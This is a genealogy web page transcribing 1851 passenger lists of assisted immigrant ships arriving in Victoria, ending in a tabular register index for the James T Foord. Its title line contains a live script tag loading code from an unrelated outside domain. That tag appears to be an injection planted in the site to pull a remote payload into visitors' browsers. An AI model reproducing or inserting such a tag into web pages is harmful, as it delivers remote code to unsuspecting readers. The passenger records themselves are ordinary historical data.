ships from England to Victoria 1851<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
<< Previous - Next >>

ships from England to Victoria 1851

Journal by janilye

Assisted Immigrants
January 25 1851
Slains Castle,
barque, 503 tons, H. T. C. Andrew, commander,
from London 29th. September.
PASSENGERS.
James Allen, wife and family, W Bastings, wife and family,
Joseph Blackenby and wife, T H Broughton, wife and family,
F Baines, wife and family, Eliza Bishop, Sophia Beck, Letitia Burgh,
Sarah Blackburn, Hy Chittle, wife and child, Jane Carter, Mary Anne Cohen,
Hannah and Matilda Davis, Fred, Hy, and F Danniels, Chas Duckett,
J Dilly, wife and family, Mary and Margaret Doyle, Eliza Dunford,
Charles Edwards, wife and family, George Francis, wife and Child,
John Field, wife and family, Ellen French, Henry George, Jasper John
Elizabeth Henry and Richard George, James Gibblet, wife and child,
A Gorman and wife, C. Groves, W Heath, Eliza and Wm Hunter, A Hinshull,
Sarah Harvey, Ellen Jackson, Charlotte Jeffrey, John Hay and wife,
William Kilpatrick, wife and family, Whalley King, Thos Lutz, wife and family,
Joseph Lucas, wife and family, Letitia Lee, Jas Marsh, wife and family,
William Maskell, wife and family, Sarah Macpherson, Roseana Macgregor,
George North, Samuel Penn, William Parsons, Madeline O'Brien,
Mary Ann Nugent, Mary Leeson, John Potter, S Risdale,
Jas Kister, wife and child, Joseph Shepherd, Geo Sanderson,
D Smith, wife and child, Thomas Tilly, wife and family,
Anne and Emma Taylor, Thomas Tilley, sen. wife and family,
James Williams, wife and family, William Threadgold, wife and child,
A. Whitely, wife and family, Mrs. Webster and family, Alex Webster,
John Whatten and wife, Eliza and Margaret Wheeler, E Ray, Lewis Daniells.
FOR ADELAIDE
James Blackburn, wife and family, James Bletchmore, wife and family,
Stephen Bastard, M Bayley, J Croome and wife,
John Crossland, wife and family, F Deacon, wife and family,
Thomas Davis and wife, Hy Danisell, Thos Filaston, John Hornblower and wife,
E. Johnson, R Knewstub, W Maidmeal, wife and family, B Norton, wife and family,
Peter and John Norman, F Morton, Eliza Penny and family,
Eliza Poole, Fanny Peters, D Rees John Sorrell,
wife and family, Ellen Turner, Julia Wells and child.
Thos. D. Lateward, Agent.

January 25 1851
Maitland,
ship, 648 tons, Wm. Henry, commander, from Plymouth 8th October.
Passengers
CABIN
Mr Ritter and lady,
Mr Grenfell, Mr Noding, Mr and Mrs Chinnery,
Mr. R Grant, Mr Bradshaw, Rev Wm Miller, United
Presbyterian Missionary, Mrs Miller, Mr Aitcheson, Mr Curling,
Miss Hickman, Mr Glass, Miss Glass, Mr and Mrs Rose. Davis, Esq. surgeon
INTERMEDIATE
George Baston, George Rogers,
John Hewitt, wife and family, James Cleghorn,
Thomas Baily, wife and family, Charlotte Carpenter,
Ursula Woolman, Mary Woolman, Eli Day, Boaz Buck,
James Fletcher, Henry Dunster, wife and family,
Charles Paul, James Chamberlain, wife and child,
Thomas Harbridge, A Smith wife and family, Lewis Butler,
C. Way and wife; Mary Fletcher, James Stoddart, W. Ling,
Robert Maubrey, S Thomns, Sarah Williams, Robert Breeze and wife,
D Chapman, wife and child, W. Hodgkin, Thomas Hooke, John Honey,
Patrick Haynes, A Hayes, wife and family, John Lachlan,
E Salter, Anne and John Shepherd, Mary and Louisa Smith,
?ary Thomas and family.
Dalgety, Gore, and Co. Agents.

January 31 1851
Harpley,
ship, 547 tons, Thomas Buckland, commander,
from Plymouth via Adelaide, 27th inst.
Passengers
Capt. Cameron, Messrs Mills, Purchase, Smith,
S Walsh, F. Walsh, Yellows, Townley, Johnson, McCooney,
Hills, Ratcliff, Brown, Smith, Calthrop, Maude,
Steinthrope, Mackeny, Cosby, Caurthors, Dunlop,
Hewitt, Cherey, Howell, Martin, Oliver, Fairhurst, Carter,
Hobler, Kimey, Birming, Leek, Smith, Wright, R and G Rogers,
Wheeler, Hodgetts, Gamble, Wood, J and T Allen,
G and T Reddish, George, Jones, Hammond, Hogue,
Lecke, Sheppard, Middleton, Clear, T Clear,
Warren, Sweetman, Henshaw, Misses Beard,
Davis, Tallow, Wood, C Wood, A and J Hugall,
A and T Motherwell, Jenndtt, A Saville, Algiers
Walker, Donovan, Fox, Mr and Mrs Allen, Mr and Mrs Murphy,
Mr. and Mrs Brooks, Mr and Mrs Williams and son, Mr and Mrs Phillips,
Mr. and Mrs Duncan, Mr and Mrs Browne, Mr. and Mrs. Headings,
Mr. and Mrs. Cain, and two sons, Mr. and Mrs. Harper,
Mr and Mrs Singleton and family, Messdames, Wright, Wheeler,
Gardaner, Gardener, Walsh, Davis, Motherwell, Bennett.
C. Browne and Co, Agents.

March 14 1851
Harry Lorrequer,
ship, 985 tons,
Richard Jeffares, commander, from Plymouth
November 26, Passengers
CABIN
Mrs. Jeffares, E. C. Strutt, Esq., Surgeon Superintendent,
and three hundred and eight emigrants in the steerage.
Watson and Wight, agents.
ADCOCK William
ALLEN John and Betsy
BAKER Elizabeth and family
BARRY Jane
BATT George
BOURKE Catherine
BOWEN Francis
BRODIE James, Bridget and family
BURTON Timothy, Mary and family
CARDEN Mary
CAREY Andrew
CARROLL Margaret
CARTHY Mary
CASEY Eliza
CASEY Isabella
CASEY Joseph
CLARK Catherine
CONNOR Thomas and Mary
CORBETT James
CROW Letitia
CURRY Mathew, Jane and family
CUSHION Thomas, Anne and family
DEANE Patrick, Ellen and family
DONNELLY William and Bridget
EGAN Anne and family
EGAN Martin
EGAN Mary
EGAN Mary
EGAN Patrick
EGAN Patrick, Maria and family
EGAN William, Margaret and family
EGGINTON George and Mary
FITNESS John, Caroline and family
FITNESS Samuel
FITZPATRICK Edmond, Mary and family
FLANNAGAN Margaret
FLANNAGAN Margaret
FLINN Michael, Mary and family
FLYNN Mary
FOGARTY Anne
FOGARTY Patrick
FOGARTY Patrick, Judith and family
FOX John and Mary Ann
FULLER Letitia
GILMORE Mary and family
GLEESON Bridget and family
GRADY Bridget
GRADY Catherine
GRADY James
GRADY Mary
GRAHAM Jane
GRAHAM Phillip
GRANITE John, Ellen and family
GRICE Mary Ann and family
GUNNER Henry
HAINES Nancy
HALL Mary Ann
HALLORAN Connor
HALLORAN Patrick, Eliza and family
HARRIS Henry or John, Honora and family
HAYES Mark, Maria and family
HAYES Thomas, Catherine and family
HIGGINSON James, Anne and family
HOCKIN Henry, Charlotte and family
HOGAN Denis
HOGAN Rody, Judith and family
HOLLAND Anne
HOLLAND Thomas
HOUGH Anne
HOUGH Simon and family
HUNT Catherine and family
HYLAND John
IRELAND Thomas
KEATING Matthew and family
KELLY Henry
KELLY John
KELLY Mary
KELLY Mary
KELLY Michael, Winifred and family
KELSO Joseph, Margaret and family
KENNEDY Catherine
KENNEDY Daniel, Catherine and family
KENNEDY John
KENNEDY Margaret
KENNEDY Michael
KITE Mary
LOVE Samuel, Rosetta and family
LYNCH Jeremiah
LYNCH John
MALONE Mary
MATTHEWS Margaret
McGORLICK Charles and Rosanna
McKEIRNAN Patrick, Elizabeth and family
McMAHON John, Catherine and family
McMAHON Margaret
MEAGHER William
MOLLOY Emily
MULLANE Patrick
MURPHY Patrick
O'BRIEN Denis, Judith and family
O'BRIEN Mary Ann
O'CONNOR Bridget
O'CONNOR Michael
O'MARA Michael
PEACE Isabella
PEACE John
PELL Charles and Mary Ann
PELL James
PRIOR Thomas and Angelina
QUISHION Pearce and Mary
READ Isabella
READ James
RODGERS Ellen
RUSK Edward, Elizabeth and family
RUSSELL Bridget
RUSSELL George, Emily and family
RUSSELL Joseph
RUSSELL Thomas
RYAN Edmond
RYAN John
RYAN John
RYAN Judith
RYAN Mary
SEXTON Terence, Mary and family
SHANAHAN Denis and Margaret
SIMPSON James or John
SIMPSON John or James
SOMMERVILLE Samuel, Margaret and family
STEER Robert and family
STENHOUSE William and Mary Ann
TAYLOR John and Harriett
TAYLOR Martha
TAYLOR William
TIERNEY Patrick
TOWHEY James
TROTMAN Anne
TROTMAN Margaret
TULLOCK John, Anne and family
TULLOCK Thomas and family
WALKER Margaret
WATKINS Margaret
WHITE John
WHITTON Robert, Elizabeth and family
WILLIAMSON James, Jane and family
WINSLEY Robert, Fanny and family

2 May 1851
James T Foord
ship, 790 tons,
J. Hume, commander, from Falmouth 6th January,
with 256 immigrants
Family Name Given Name Age Month Year Ship Book Page
ADCOCK HARRIETT 18 MAY 1851 JAMES T FOORD 4A 328
ADCOCK HARRIETT 18 MAY 1851 JAMES T FOORD 5 146
ADCOCK HARRIETT 18 MAY 1851 JAMES T FOORD 4B 48
ADCOCK HENRY 28 MAY 1851 JAMES T FOORD 4A 326
ADCOCK HENRY 28 MAY 1851 JAMES T FOORD 5 144
AITKINS SIMON 19 MAY 1851 JAMES T FOORD 5 144
ALLEN ABIGAIL 22 MAY 1851 JAMES T FOORD 5 146
ALLEN ABIGAIL 22 MAY 1851 JAMES T FOORD 4B 48
ALLEN ABIGAIL 22 MAY 1851 JAMES T FOORD 4A 328
ANDERSON JOHN 24 MAY 1851 JAMES T FOORD 4A 322
ANDERSON JOHN 24 MAY 1851 JAMES T FOORD 5 140
ANDERSON MARGARET 20 MAY 1851 JAMES T FOORD 5 140
ANDERSON MARGARET 20 MAY 1851 JAMES T FOORD 4A 322
ANDERSON WILLIAM 22 MAY 1851 JAMES T FOORD 4A 326
ANDERSON WILLIAM 22 MAY 1851 JAMES T FOORD 5 144
ANGUS AGNES 22 MAY 1851 JAMES T FOORD 4B 48
ANGUS AGNES 22 MAY 1851 JAMES T FOORD 4A 328
ANGUS AGNES 22 MAY 1851 JAMES T FOORD 5 146
ARKINS SIMON 19 MAY 1851 JAMES T FOORD 4A 326
ASCOTT GEORGE 29 MAY 1851 JAMES T FOORD 4A 326
ASCOTT GEORGE 29 MAY 1851 JAMES T FOORD 5 144
ASCOTT THOMAS 21 MAY 1851 JAMES T FOORD 5 144
ASCOTT THOMAS 21 MAY 1851 JAMES T FOORD 4A 326
ATKINS BRIDGET 18 MAY 1851 JAMES T FOORD 4A 328
ATKINS BRIDGET 22 MAY 1851 JAMES T FOORD 5 146
ATKINS BRIDGET 22 MAY 1851 JAMES T FOORD 4B 48
ATKINS MARY 18 MAY 1851 JAMES T FOORD 5 146
ATKINS MARY 18 MAY 1851 JAMES T FOORD 4B 48
ATKINS MARY 18 MAY 1851 JAMES T FOORD 4A 328
AVIS JONATHAN 32 MAY 1851 JAMES T FOORD 4A 326
AVIS JONATHAN 32 MAY 1851 JAMES T FOORD 5 144
AYLETT ARTHUR 19 MAY 1851 JAMES T FOORD 4A 326
AYLETT ARTHUR 19 MAY 1851 JAMES T FOORD 5 144
BAMFIELD —- INFANT WITH 0 MAY 1851 JAMES T FOORD 5 148
BAMFIELD DANIEL 28 MAY 1851 JAMES T FOORD 4A 322
BAMFIELD DANIEL 28 MAY 1851 JAMES T FOORD 5 140
BAMFIELD HARRIET 21 MAY 1851 JAMES T FOORD 5 140
BAMFIELD HARRIETT 0 MAY 1851 JAMES T FOORD 5 148
BAMFIELD HARRIETT 21 MAY 1851 JAMES T FOORD 4A 322
BAMFIELD M A FOORD 0 MAY 1851 JAMES T FOORD 4A 322
BAMFIELD MARY A FOORD 0 MAY 1851 JAMES T FOORD 5 140
BARCLAY DAVID CREW 0 MAY 1851 JAMES T FOORD 5 148
BARKER CATHERINE 25 MAY 1851 JAMES T FOORD 5 140
BARKER CATHERINE 25 MAY 1851 JAMES T FOORD 4A 322
BARKER JOHN 26 MAY 1851 JAMES T FOORD 5 140
BARKER JOHN 26 MAY 1851 JAMES T FOORD 4A 322
BEAUCHAMP CRADOCK CREW 0 MAY 1851 JAMES T FOORD 5 148
BERGIN PATRICK 36 MAY 1851 JAMES T FOORD 4A 326
BERGIN PATRICK 36 MAY 1851 JAMES T FOORD 5 144
BERRECRAY BRIDGET 21 MAY 1851 JAMES T FOORD 4B 48
BERRICRAY BRIDGET 21 MAY 1851 JAMES T FOORD 4A 328
BERRICRAY BRIDGET 21 MAY 1851 JAMES T FOORD 5 146
BLAKELEY JOHN 39 MAY 1851 JAMES T FOORD 4A 322
BLAKELEY JOHN 39 MAY 1851 JAMES T FOORD 5 140
BLAKELEY JOSEPH 14 MAY 1851 JAMES T FOORD 4A 322
BLAKELEY JOSEPH 14 MAY 1851 JAMES T FOORD 5 144
BLAKELEY MARY 6 MAY 1851 JAMES T FOORD 5 140
BLAKELEY MARY 6 MAY 1851 JAMES T FOORD 4A 322
BLAKELEY MARY 38 MAY 1851 JAMES T FOORD 4A 322
BLAKELEY MARY 38 MAY 1851 JAMES T FOORD 5 140
BLAKELEY ROBERT 9 MAY 1851 JAMES T FOORD 5 148
BLAKELEY WILLIAM 14 MAY 1851 JAMES T FOORD 4A 322
BLAKELEY WILLIAM 14 MAY 1851 JAMES T FOORD 5 144
BOURKE ALICK 17 MAY 1851 JAMES T FOORD 4A 326
BOURKE ALICK 17 MAY 1851 JAMES T FOORD 5 145
BOURKE MARY A 39 MAY 1851 JAMES T FOORD 5 146
BOURKE MARY A 39 MAY 1851 JAMES T FOORD 4A 328
BOURKE MARY ANN 39 MAY 1851 JAMES T FOORD 4B 48
BOURKE MICHAEL 19 MAY 1851 JAMES T FOORD 4A 326
BOURKE MICHAEL 19 MAY 1851 JAMES T FOORD 5 144
BOURKE TOBY 21 MAY 1851 JAMES T FOORD 4A 326
BOURKE TOBY 21 MAY 1851 JAMES T FOORD 5 144
BOWLAND ANN 30 MAY 1851 JAMES T FOORD 4A 322
BOWLAND ANN 30 MAY 1851 JAMES T FOORD 5 140
BOWLAND THOMAS 34 MAY 1851 JAMES T FOORD 5 140
BOWLAND THOMAS 34 MAY 1851 JAMES T FOORD 4A 322
BURNSIDE JAMES 30 MAY 1851 JAMES T FOORD 5 144
BURNSIDE JAMES 30 MAY 1851 JAMES T FOORD 4A 326
BURNSIDE WILLIAM 29 MAY 1851 JAMES T FOORD 4A 326
BURNSIDE WILLIAM 29 MAY 1851 JAMES T FOORD 5 144
CAHER MARGERET 18 MAY 1851 JAMES T FOORD 4B 48
CAHIR MARGARET 18 MAY 1851 JAMES T FOORD 5 146
CAHIR MARGT 18 MAY 1851 JAMES T FOORD 4A 328
CAHIR PATRICK 20 MAY 1851 JAMES T FOORD 5 144
CAHIR PATRICK 20 MAY 1851 JAMES T FOORD 4A 326
CAIN JAMES 0 MAY 1851 JAMES T FOORD 5 148
CAIN JOHN 30 MAY 1851 JAMES T FOORD 4A 322
CAIN JOHN 30 MAY 1851 JAMES T FOORD 5 140
CAIN MARGARET 32 MAY 1851 JAMES T FOORD 5 140
CAIN MARGARET 32 MAY 1851 JAMES T FOORD 4A 322
CAIN PHILIP 5 MAY 1851 JAMES T FOORD 4A 322
CAIN PHILIP 5 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN INFANT WITH 0 MAY 1851 JAMES T FOORD 5 148
CALLAGHAN BRIDGET 0 MAY 1851 JAMES T FOORD 5 148
CALLAGHAN BRIDGET 6 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN BRIDGET 6 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN BRIDGET 33 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN BRIDGET 33 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN DENIS 16 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN DENNIS 16 MAY 1851 JAMES T FOORD 5 144
CALLAGHAN JOHN 0 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN JOHN 16 MAY 1851 JAMES T FOORD 5 144
CALLAGHAN JOHN 16 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN MARGARET 3 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN MARGARET 3 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN MARY 0 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN MARY 14 MAY 1851 JAMES T FOORD 4B 49
CALLAGHAN MARY 14 MAY 1851 JAMES T FOORD 5 146
CALLAGHAN MARY 14 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN MICHAEL 0 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN MICHAEL 0 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN MICHAEL 0 MAY 1851 JAMES T FOORD 5 148
CALLAGHAN MICHAEL 38 MAY 1851 JAMES T FOORD 4A 322
CALLAGHAN MICHAEL 38 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN PATRICK 8 MAY 1851 JAMES T FOORD 5 140
CALLAGHAN PATRICK 8 MAY 1851 JAMES T FOORD 4A 322
CAMPBELL JOHN 32 MAY 1851 JAMES T FOORD 4A 326
CAMPBELL JOHN 32 MAY 1851 JAMES T FOORD 5 144
CAREW EDMOND 22 MAY 1851 JAMES T FOORD 5 144
CAREW EDMOND 22 MAY 1851 JAMES T FOORD 4A 326
CASEY JOHN 0 MAY 1851 JAMES T FOORD 4B 48
CLAMPITT JOHN 31 MAY 1851 JAMES T FOORD 4A 322
CLAMPITT JOHN 31 MAY 1851 JAMES T FOORD 5 140
CLAMPITT MARGARET 29 MAY 1851 JAMES T FOORD 4A 322
CLAMPITT MARGARET 29 MAY 1851 JAMES T FOORD 5 140
COBAIN ELIZA 18 MAY 1851 JAMES T FOORD 4A 323
COBAIN ELIZA 19 MAY 1851 JAMES T FOORD 4B 48
COBAIN ELIZA 19 MAY 1851 JAMES T FOORD 5 146
COBAIN JOHN 0 MAY 1851 JAMES T FOORD 5 148
COBAIN JOHN 17 MAY 1851 JAMES T FOORD 4A 322
COBAIN JOHN 18 MAY 1851 JAMES T FOORD 5 144
COBAIN JOHN 44 MAY 1851 JAMES T FOORD 5 140
COBAIN JOHN 44 MAY 1851 JAMES T FOORD 4A 322
COBAIN JOHNSTON 15 MAY 1851 JAMES T FOORD 4A 323
COBAIN JONATHAN 17 MAY 1851 JAMES T FOORD 5 144
COBAIN MARGARET 7 MAY 1851 JAMES T FOORD 5 140
COBAIN MARGARET 7 MAY 1851 JAMES T FOORD 4A 323
COBAIN MARIA 41 MAY 1851 JAMES T FOORD 5 140
COBAIN MARIA 41 MAY 1851 JAMES T FOORD 4A 322
COBAIN MARY 23 MAY 1851 JAMES T FOORD 4B 48
COBAIN MARY A 19 MAY 1851 JAMES T FOORD 4A 323
COBAIN MARY A 23 MAY 1851 JAMES T FOORD 5 146
COBAIN MATILDA 9 MAY 1851 JAMES T FOORD 5 140
COBAIN MATILDA 9 MAY 1851 JAMES T FOORD 4A 323
COBAIN THOMAS 21 MAY 1851 JAMES T FOORD 5 144
COBAIN THOMAS 22 MAY 1851 JAMES T FOORD 4A 322
COBAIN WILLIAM 12 MAY 1851 JAMES T FOORD 4A 323
COBAIN WILLIAM 12 MAY 1851 JAMES T FOORD 5 140
CRAWLEY STEPHEN 29 MAY 1851 JAMES T FOORD 5 144
CRAWLEY STEPHEN 29 MAY 1851 JAMES T FOORD 4A 326
CREAM GEORGE SURG SUPT 0 MAY 1851 JAMES T FOORD 5 148
CUTHBAT MARY 24 MAY 1851 JAMES T FOORD 4B 48
CUTTLE MARY 24 MAY 1851 JAMES T FOORD 5 146
CUTTLE MARY 24 MAY 1851 JAMES T FOORD 4A 328
CUZEN JOSEPH 0 MAY 1851 JAMES T FOORD 5 148
DOHERTY CATHERINE 19 MAY 1851 JAMES T FOORD 5 146
DOHERTY CATHERINE 19 MAY 1851 JAMES T FOORD 4B 49
DOHERTY CATHERINE 19 MAY 1851 JAMES T FOORD 4A 328
DOHERTY ELIZA 20 MAY 1851 JAMES T FOORD 4A 328
DOHERTY ELIZA 20 MAY 1851 JAMES T FOORD 4B 48
DOHERTY ELIZA 20 MAY 1851 JAMES T FOORD 5 146
DOHERTY JOHN 21 MAY 1851 JAMES T FOORD 5 144
DOHERTY JOHN 21 MAY 1851 JAMES T FOORD 4A 326
DOHERTY TIMOTHY 26 MAY 1851 JAMES T FOORD 4A 326
DOHERTY TIMOTHY 26 MAY 1851 JAMES T FOORD 5 144
DUGAN THOMAS 24 MAY 1851 JAMES T FOORD 4A 326
DUGAN THOMAS 24 MAY 1851 JAMES T FOORD 5 144
EMMERSON DANIEL 18 MAY 1851 JAMES T FOORD 4A 326
EMMERSON DANIEL 18 MAY 1851 JAMES T FOORD 5 144
EMMERSON GEORGE 18 MAY 1851 JAMES T FOORD 4A 326
EMMERSON GEORGE 18 MAY 1851 JAMES T FOORD 5 144
EMMERSON ROBERT 21 MAY 1851 JAMES T FOORD 5 144
EMMERSON ROBERT 21 MAY 1851 JAMES T FOORD 4A 326
ENSOR CHRISTINA 0 MAY 1851 JAMES T FOORD 5 148
ENSOR CHRISTINA 51 MAY 1851 JAMES T FOORD 5 146
ENSOR CHRISTINA 51 MAY 1851 JAMES T FOORD 4A 328
ENSOR CHRISTINA 51 MAY 1851 JAMES T FOORD 4B 48
FERRIS CHARLES 6 MAY 1851 JAMES T FOORD 5 140
FERRIS CHARLES 6 MAY 1851 JAMES T FOORD 4A 323
FERRIS ELIZABETH 2 MAY 1851 JAMES T FOORD 5 140
FERRIS ELIZABETH 2 MAY 1851 JAMES T FOORD 4A 323
FERRIS ELIZABETH 26 MAY 1851 JAMES T FOORD 4A 323
FERRIS ELIZABETH 26 MAY 1851 JAMES T FOORD 5 140
FERRIS HENRY 26 MAY 1851 JAMES T FOORD 5 140
FERRIS HENRY 26 MAY 1851 JAMES T FOORD 4A 323
FERRIS MARY 4 MAY 1851 JAMES T FOORD 4A 323
FERRIS MARY 4 MAY 1851 JAMES T FOORD 5 140
FITZPATRICK BIDDY 6 MAY 1851 JAMES T FOORD 4B 48
FITZPATRICK BRIDGET 5 MAY 1851 JAMES T FOORD 4A 326
FITZPATRICK BRIDGET 5 MAY 1851 JAMES T FOORD 5 143
FITZPATRICK CATHERINE 15 MAY 1851 JAMES T FOORD 4A 328
FITZPATRICK CATHERINE 15 MAY 1851 JAMES T FOORD 5 146
FITZPATRICK CATHERINE 30 MAY 1851 JAMES T FOORD 4A 328
FITZPATRICK CATHERINE 30 MAY 1851 JAMES T FOORD 5 146
FITZPATRICK CATHERINE 30 MAY 1851 JAMES T FOORD 4B 49
FITZPATRICK KATE 15 MAY 1851 JAMES T FOORD 4B 48
FITZPATRICK THOMAS 37 MAY 1851 JAMES T FOORD 5 144
FITZPATRICK THOMAS 37 MAY 1851 JAMES T FOORD 4A 326
FLYNN TIMOTHY 30 MAY 1851 JAMES T FOORD 5 144
FLYNN TIMOTHY 30 MAY 1851 JAMES T FOORD 4A 326
FOWLER BETSY 21 MAY 1851 JAMES T FOORD 4A 328
FOWLER BETSY 21 MAY 1851 JAMES T FOORD 4B 48
FOWLER BETSY 21 MAY 1851 JAMES T FOORD 5 146
GILDAY MARGERET 27 MAY 1851 JAMES T FOORD 4B 49
GILDEA MARGARET 27 MAY 1851 JAMES T FOORD 5 146
GILDEA MARGARET 27 MAY 1851 JAMES T FOORD 4A 328
GRAY DONALD 29 MAY 1851 JAMES T FOORD 4A 323
GRAY DONALD 39 MAY 1851 JAMES T FOORD 5 141
GRAY JANE 19 MAY 1851 JAMES T FOORD 4A 323
GRAY JANE 19 MAY 1851 JAMES T FOORD 4B 48
GRAY JANE 19 MAY 1851 JAMES T FOORD 5 146
GRAY JANE 38 MAY 1851 JAMES T FOORD 4A 323
GRAY JANE 38 MAY 1851 JAMES T FOORD 5 141
GRAY JOHN 17 MAY 1851 JAMES T FOORD 5 144
GRAY JOHN 17 MAY 1851 JAMES T FOORD 4A 323
GREEN JAMES 0 MAY 1851 JAMES T FOORD 5 148
GREIG MARGARET 23 MAY 1851 JAMES T FOORD 5 146
GREIG MARGERET 23 MAY 1851 JAMES T FOORD 4B 48
GREIG MARGT 23 MAY 1851 JAMES T FOORD 4A 328
HAHAN JOHN 39 MAY 1851 JAMES T FOORD 5 144
HAHAN JOHN 39 MAY 1851 JAMES T FOORD 4A 327
HARBOROUGH ANN 20 MAY 1851 JAMES T FOORD 4A 324
HARBOROUGH ANNE 20 MAY 1851 JAMES T FOORD 5 141
HARBOROUGH JAMES 23 MAY 1851 JAMES T FOORD 4A 324
HARBOROUGH JAMES 23 MAY 1851 JAMES T FOORD 5 141
HARRADAY ANNE 31 MAY 1851 JAMES T FOORD 5 141
HARRADAY JOSEPH 37 MAY 1851 JAMES T FOORD 5 141
HARRIDAY —- 0 MAY 1851 JAMES T FOORD 5 148
HARRIDAY ANN 31 MAY 1851 JAMES T FOORD 4A 324
HARRIDAY JOSEPH 37 MAY 1851 JAMES T FOORD 4A 324
HASTINGS BIDDY 0 MAY 1851 JAMES T FOORD 4A 323
HASTINGS BRIDGET 18 MAY 1851 JAMES T FOORD 5 146
HASTINGS JANE 24 MAY 1851 JAMES T FOORD 4A 323
HASTINGS JANE 24 MAY 1851 JAMES T FOORD 5 141
HASTINGS JOHN 26 MAY 1851 JAMES T FOORD 5 141
HASTINGS JOHN 26 MAY 1851 JAMES T FOORD 4A 323
HASTINGS MICHAEL 1 MAY 1851 JAMES T FOORD 4A 323
HASTINGS MICHAEL 1 MAY 1851 JAMES T FOORD 5 141
HASTINGS THOMAS 2 MAY 1851 JAMES T FOORD 4A 323
HASTINGS THOMAS 23 MAY 1851 JAMES T FOORD 4A 326
HASTINGS THOMAS 23 MAY 1851 JAMES T FOORD 5 144
HASTINGS TOM 2 MAY 1851 JAMES T FOORD 5 141
HATTY JAMES 22 MAY 1851 JAMES T FOORD 4A 327
HATTY JAMES 22 MAY 1851 JAMES T FOORD 5 145
HATTY SAMUEL 20 MAY 1851 JAMES T FOORD 4A 327
HATTY SAMUEL 20 MAY 1851 JAMES T FOORD 5 145
